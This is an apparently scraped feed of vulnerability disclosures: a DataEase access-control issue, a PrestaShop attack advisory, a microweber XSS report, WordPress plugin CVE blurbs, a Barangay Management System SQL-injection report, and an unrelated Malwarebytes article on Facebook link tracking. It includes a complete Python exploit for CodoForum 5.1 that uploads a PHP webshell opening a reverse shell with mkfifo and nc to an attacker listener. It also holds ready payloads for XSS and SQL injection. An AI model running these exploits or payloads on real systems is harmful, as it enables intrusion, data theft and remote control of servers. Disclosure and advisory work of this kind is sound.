An access control issue in the component /api/plugin/uninstall Dataease v1.11.1 allows attackers to arbitrarily uninstall the plugin, a right normally reserved for the administrator.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

Ryze-T opened this issue

Jun 15, 2022

· 2 comments

**Comments**

**DataEase 版本**  
最新版

**运行方式(安装包运行 or 源码运行 ?)**  
安装包运行

**浏览器版本**  
任意

**Bug 描述**  
普通权限越权卸载插件

**Bug 重现步骤(有截图更好)**  
普通用户无法对插件进行处理，但是通过调用接口可对插件进行卸载：

    POST /api/plugin/uninstall/1 HTTP/1.1
    Host: xxx
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept: application/json, text/plain, */*
    Accept-Language: zh-CN
    Accept-Encoding: gzip, deflate
    Authorization: xxx
    LINK-PWD-TOKEN: null
    Connection: close
    Content-Length: 0
    

Authorization为鉴权标准，低权限依然可以调用api/plugin/uninstall接口进行插件卸载：  
  
包发送后显示成功：  
  
管理员查看插件被卸载，漏洞利用成功：

CVE-2022-34112: [Bug]普通权限越权卸载插件 · Issue #2429 · dataease/dataease

PrestaShop 1.6.0.10 through 1.7.x before 1.7.8.2 allows remote attackers to execute arbitrary code, aka a "previously unknown vulnerability chain" related to SQL injection, as exploited in the wild in July 2022.

Attackers have found a way to use a security vulnerability to carry out arbitrary code execution in servers running PrestaShop websites. For details, please read the entire article.

**What’s happening**

The maintainer team has been made aware that malicious actors are exploiting a combination of known and unknown security vulnerabilities to inject malicious code in PrestaShop websites, allowing them to execute arbitrary instructions, and potentially steal customer’s payment information.

While investigating this attack, we found a previously unknown vulnerability chain that we are fixing. At the moment, however, we cannot be sure that it’s the only way for them to perform the attack. To the best of our understanding, this issue seems to concern shops based on versions 1.6.0.10 or greater, subject to SQL injection vulnerabilities. Versions 1.7.8.2 and greater are not vulnerable unless they are running a module or custom code which itself includes an SQL injection vulnerability. Note that versions 2.0.0~2.1.0 of the Wishlist (blockwishlist) module are vulnerable.

**How the attack works**

The attack requires the shop to be vulnerable to SQL injection exploits. To the best of our knowledge, the latest version of PrestaShop and its modules are free from these vulnerabilities. We believe attackers are targeting shops using outdated software or modules, vulnerable third-party modules, or a yet-to-be-discovered vulnerability.

According to our conversations with shop owners and developers, the recurring modus operandi looks like this:

1.  The attacker submits a POST request to the endpoint vulnerable to SQL injection.
2.  After approximately one second, the attacker submits a GET request to the homepage, with no parameters. This results in a PHP file called blm.php being created at the root of the shop’s directory.
3.  The attacker now submits a GET request to the new file that was created, blm.php, allowing them to execute arbitrary instructions.

After the attackers successfully gained control of a shop, they injected a fake payment form on the front-office checkout page. In this scenario, shop customers might enter their credit card information on the fake form, and unknowingly send it to the attackers.

While this seems to be the common pattern, attackers might be using a different one, by placing a different file name, modifying other parts of the software, planting malicious code elsewhere, or even erasing their tracks once the attack has been successful.

**What to do to keep your shop safe**

First of all, make sure that your shop and all your modules are updated to their latest version. This should prevent your shop from being exposed to known and actively exploited SQL injection vulnerabilities.

According to our current understanding of the exploit, attackers might be using MySQL Smarty cache storage features as part of the attack vector. This feature is rarely used and is disabled by default, but it can be enabled remotely by the attacker. Until a patch has been published, we recommend physically disabling this feature in PrestaShop’s code in order to break the attack chain.

To do so, locate the file config/smarty.config.inc.php on your PrestaShop install, and remove lines 43-46 (PrestaShop 1.7) or 40-43 (PrestaShop 1.6):

    if (Configuration::get('PS_SMARTY_CACHING_TYPE') == 'mysql') {
        include _PS_CLASS_DIR_.'Smarty/SmartyCacheResourceMysql.php';
        $smarty->caching_type = 'mysql';
    }
    

**How to tell if you have been affected**

Consider looking at your server’s access log for the attack pattern explained above. This is an example shared by a community member:

    - [14/Jul/2022:16:20:56 +0200] "POST /modules/XXX/XXX.php HTTP/1.1" 200 82772 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14"
     
    - [14/Jul/2022:16:20:57 +0200] "GET / HTTP/1.1" 200 63011 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36"
     
    - [14/Jul/2022:16:20:58 +0200] "POST /blm.php HTTP/1.1" 200 82696 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0"
    

(Note: the vulnerable module’s path has been modified for security reasons)

Be aware that not finding this pattern on your logs doesn’t necessarily mean that your shop has not been affected by the attack: the complexity of the exploit means that there are several ways of performing it, and attackers might also try and hide their tracks.

Consider contacting a specialist to perform a full audit of your site and make sure that no file has been modified nor any malicious code has been added.

**Additional information**

A patch version is currently being tested, and should be released soon.

We would like to take the opportunity to stress out once more the importance of keeping your system updated to prevent such attacks. This means regularly updating both your PrestaShop software and its modules, as well as your server environment.

CVE-2022-36408: Major Security Vulnerability on PrestaShop Websites

Cross-site Scripting (XSS) - Reflected in GitHub repository microweber/microweber prior to 1.2.21.

**Description**

Hi team, I found XSS at /module/.

**Proof of Concept**

Pop up POC: 

Reflected POC: 

Full request payload:

    POST /demo/module/ HTTP/1.1
    Host: demo.microweber.org
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Content-Length: 183
    Origin: https://demo.microweber.org
    Referer: https://demo.microweber.org/demo/shop
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: cross-site
    Te: trailers
    Connection: close
    
    type=shop%2Fcheckout&template=modal&id=js-ajax-cart');});function%20$(num1){alert(1);return%20String(num1)}$(document).ready(function%20()%20{mw.$('-checkout-process&class=no-settings
    

**Impact**

XSS

**Occurrences**

index.php L80-L92

This function does not filter 'id' parameter in script tag, which allows attackers to escape syntax using apostrophe.

CVE-2022-2470: Cross-site Scripting (XSS) - Reflected in microweber

CodoForum version 5.1 suffers from a remote code execution vulnerability.

    # Exploit Title: CodoForum v5.1 - Remote Code Execution (RCE)# Date: 06/07/2022# Exploit Author: Krish Pandey (@vikaran101)# Vendor Homepage: https://codoforum.com/# Software Link: https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip# Version: CodoForum v5.1# Tested on: Ubuntu 20.04# CVE: CVE-2022-31854#!/usr/bin/python3import requestsimport timeimport optparseimport randomimport stringbanner = """  ______     _______     ____   ___ ____  ____      _____ _  ___ ____  _  _    / ___\ \   / / ____|   |___ \ / _ \___ \|___ \    |___ // |( _ ) ___|| || |  | |    \ \ / /|  _| _____ __) | | | |__) | __) |____ |_ \| |/ _ \___ \| || |_ | |___  \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) | | (_) |__) |__   _| \____|  \_/  |_____|   |_____|\___/_____|_____|   |____/|_|\___/____/   |_|  """print("\nCODOFORUM V5.1 ARBITRARY FILE UPLOAD TO RCE(Authenticated)")print(banner)print("\nExploit found and written by: @vikaran101\n")parser = optparse.OptionParser()parser.add_option('-t', '--target-url', action="store", dest='target', help='path of the CodoForum v5.1 install')parser.add_option('-u', '--username', action="store", dest='username', help='admin username')parser.add_option('-p', '--password', action="store", dest='password', help='admin password')parser.add_option('-i', '--listener-ip', action="store", dest='ip', help='listener address')parser.add_option('-n', '--port', action="store", dest='port', help='listener port number')options, args = parser.parse_args()proxy = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}if not options.target or not options.username or not options.password or not options.ip or not options.port:    print("[-] Missing arguments!")    print("[*] Example usage: ./exploit.py -t [target url] -u [username] -p [password] -i [listener ip] -n [listener port]")    print("[*] Help menu: ./exploit.py -h OR ./exploit.py --help")    exit()loginURL = options.target + '/admin/?page=login'globalSettings = options.target + '/admin/index.php?page=config'payloadURL = options.target + '/sites/default/assets/img/attachments/'session = requests.Session()randomFileName = ''.join((random.choice(string.ascii_lowercase) for x in range(10)))def getPHPSESSID():        try:        get_PHPID = session.get(loginURL)        headerDict = get_PHPID.headers        cookies = headerDict['Set-Cookie'].split(';')[0].split('=')[1]        return cookies    except:        exit()phpID = getPHPSESSID()def login():    send_cookies = {'cf':'0'}    send_headers = {'Host': loginURL.split('/')[2], 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','Content-Type':'multipart/form-data; boundary=---------------------------2838079316671520531167093219','Content-Length':'295','Origin':loginURL.split('/')[2],'Connection':'close','Referer':loginURL,'Upgrade-Insecure-Requests':'1'}    send_creds = "-----------------------------2838079316671520531167093219\nContent-Disposition: form-data; name=\"username\"\n\nadmin\n-----------------------------2838079316671520531167093219\nContent-Disposition: form-data; name=\"password\"\n\nadmin\n-----------------------------2838079316671520531167093219--"    auth = session.post(loginURL, headers=send_headers, cookies=send_cookies, data=send_creds, proxies=proxy)    if "CODOFORUM | Dashboard" in auth.text:        print("[+] Login successful")def uploadAndExploit():    send_cookies = {'cf':'0', 'user_id':'1', 'PHPSESSID':phpID}    send_headers = {'Content-Type':'multipart/form-data; boundary=---------------------------7450086019562444223451102689'}    send_payload = '\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="site_title"\n\nCODOLOGIC\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="site_description"\n\ncodoforum - Enhancing your forum experience with next generation technology!\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="admin_email"\n\nadmin@codologic.com\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="default_timezone"\n\nEurope/London\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="register_pass_min"\n\n8\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_all_topics"\n\n30\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_cat_topics"\n\n20\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_per_topic"\n\n20\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_path"\n\nassets/img/attachments\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_exts"\n\njpg,jpeg,png,gif,pjpeg,bmp,txt\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_size"\n\n3\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_mimetypes"\n\nimage/*,text/plain\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_tags_num"\n\n5\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_tags_len"\n\n15\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="reply_min_chars"\n\n10\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="insert_oembed_videos"\n\nyes\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_privacy"\n\neveryone\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="approval_notify_mails"\n\n\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_header_menu"\n\nsite_title\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_logo"; filename="' + randomFileName + '.php"\nContent-Type: application/x-php\n\n<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ' + options.ip + ' ' + options.port + ' >/tmp/f");?> \n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="login_by"\n\nUSERNAME\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="force_https"\n\nno\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="user_redirect_after_login"\n\ntopics\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="sidebar_hide_topic_messages"\n\noff\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="sidebar_infinite_scrolling"\n\non\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="show_sticky_topics_without_permission"\n\nno\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="CSRF_token"\n\n23cc3019cadb6891ebd896ae9bde3d95\n-----------------------------7450086019562444223451102689--\n'    exploit = requests.post(globalSettings, headers=send_headers, cookies=send_cookies, data=send_payload, proxies=proxy)    print("[*] Checking webshell status and executing...")    payloadExec = session.get(payloadURL + randomFileName + '.php', proxies=proxy)    if payloadExec.status_code == 200:        print("[+] Payload uploaded successfully and executed, check listener")    else:        print("[-] Something went wrong, please try uploading the shell manually(admin panel > global settings > change forum logo > upload and access from " + payloadURL +"[file.php])")login()uploadAndExploit()

CodoForum 5.1 Remote Code Execution

Unauthenticated WordPress Options Change vulnerability in Biplob Adhikari's Accordions plugin <= 2.0.2 at WordPress.

CVE-2022-33198: Accordions – Multiple Accordions or FAQs Builder

Authenticated (custom plugin role) Arbitrary File Read via Export function vulnerability in GiveWP's GiveWP plugin <= 2.20.2 at WordPress.

CVE-2022-31475: GiveWP – Donation Plugin and Fundraising Platform

Cross-Site Request Forgery (CSRF) vulnerability in JoomUnited WP Meta SEO plugin <= 4.4.8 at WordPress allows an attacker to update the social settings.

CVE-2022-30337: WP Meta SEO

Cross-Site Request Forgery (CSRF) vulnerability in WordPlus Better Messages plugin <= 1.9.9.148 at WordPress allows attackers to upload files. File attachment to messages must be activated.

CVE-2022-29454: Better Messages – Live Chat for WordPress, BuddyPress, BuddyBoss, Ultimate Member, PeepSo

Barangay Management System v1.0 was discovered to contain a SQL injection vulnerability via the hidden_id parameter at /pages/household/household.php.

Permalink

**Barangay Management System v1.0 by itsourcecode.com has SQL injection**

The decompression password for the source file is itsourcecode.

Login account: admin/admin (Super Admin account)

vendors: https://itsourcecode.com/free-projects/php-project/barangay-management-system-project-in-php-with-source-code/

Vulnerability File: /bmis/pages/household/household.php

Vulnerability location: /bmis/pages/household/household.php,hidden\_id

\[+\] Payload: hidden\_id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> hidden\_id

POST /bmis/pages/household/household.php HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/bmis/pages/household/household.php
Cookie: sessions=aj0k5o11d743ingah9kp1b0ejntrqer6; PHPSESSID=fbu82ocu8kd37b5b20uqq71a35; \_ga=GA1.1.1382961971.1655097107; \_gid=GA1.1.804632123.1655097107
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 153
hidden\_id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&hiddennum=1&txt\_edit\_zone=1&txt\_edit\_totalmembers=&btn\_save=Save&table\_length=10

CVE-2022-34042: bug_report/SQLi-1.md at main · tianqi5432/bug_report

Facebook is reportedly switching out click identifiers for encryption, making it harder (if not impossible) to strip tracking from the URL.
The post Facebook gets round tracking privacy measure by encrypting links appeared first on Malwarebytes Labs.

A form of individual tracking specific to your web browser is at the heart of a currently contested privacy battle, and one which Facebook has just got the upper hand to.

This type of tracking involves adding additional parameters to the URLs that you click on a daily basis. When you click one of these parameter-laden links, the organisation which added the parameter to the URL knows that you’ve clicked it.

Sites make use of the added parameters in order to track your clicks across a range of sites or services, an activity which can be monetised for marketing or analytics. A company may also be able to know where you visit away from their own website. The marketing possibilities are endless, and so too are the privacy implications.

**Browsers tackle the problem of tracking parameters**

Major browsers have been looking at this issue for a while, and some now strip the tracking from urls.

At the end of June, Firefox rolled out something called “Query parameter stripping“. Now, when you click a link or copy and paste it, Firefox removes all forms of tracking appended to the URL you wish to visit. When you click the link and arrive at the other end, it’s as though the tracking aspect added to the URL was never there in the first place. It’s worth noting that this feature is disabled by default unless you’re using private browsing, and needs to be enabled in the Privacy & Security section of the browser options for it to work.

Firefox isn’t alone in this fight. Other browsers, like Brave, have been addressing this issue for some time already.

As Brave explains, removing and blocking other aspects of a site for security or privacy purposes can prevent the site from working correctly. For example, disabling JavaScript may reduce the risk of attacks in your browser, but it may _also_ break the websites that you visit. Blocking cookies may steer you away from invasive tracking, but it could _also_ prevent you from logging in.

However, unlike the two examples above, stripping tracking parameters from a link doesn’t generate usability issues. If you take one of them out, the site carries on working as intended.

So far, so good.

Unfortunately for those with a fondness for removing tracking parameters, this may not be the case for much longer. Some organisations which make use of added parameters are presenting browsers and surfers with a stark choice.

Keep the tracking…or break the site.

**Facebook: A knock-out blow?**

Up until now, Facebook was using “Fbclid” in its URLs for parameter tracking. You may well have seen this appear in your URL bar as part of the addresses you’ve been clicking on. Web browsers keep track of all the additional parameters added to URLs, and strip them out as they appear. If a site changes the text of their additional parameter, the browser would have to update its own lists to be able to continue stripping them out.

Instead of playing a never-ending game of changing their parameter additions, Facebook is trying something very different, which is sure to cause the browser developers some headaches on the parameter stripping front.

Facebook has now switched to encryption for its parameter tracking needs. What this means is that the encrypted part of the URL is essentially _part_ of the whole URL. If you remove it, you won’t be directed to the specific page you’re looking for. As per the example given on this Ghacks article: You’ll arrive on the main landing page for a site, but not the _article_ you’re looking for.

The only real workaround for this at present is to try and avoid as much as Facebook’s tracking as possible. This isn’t always something you’re easily able to do. At the bare minimum, you’d want to consider signing out of Facebook and blocking all Facebook-centric domains. This doesn’t solve the issue of encrypted URLs though, and it’s likely that anyone already happy to strip URLs may have been doing this in the first place.

Browser developers: your move.

Tag

#firefox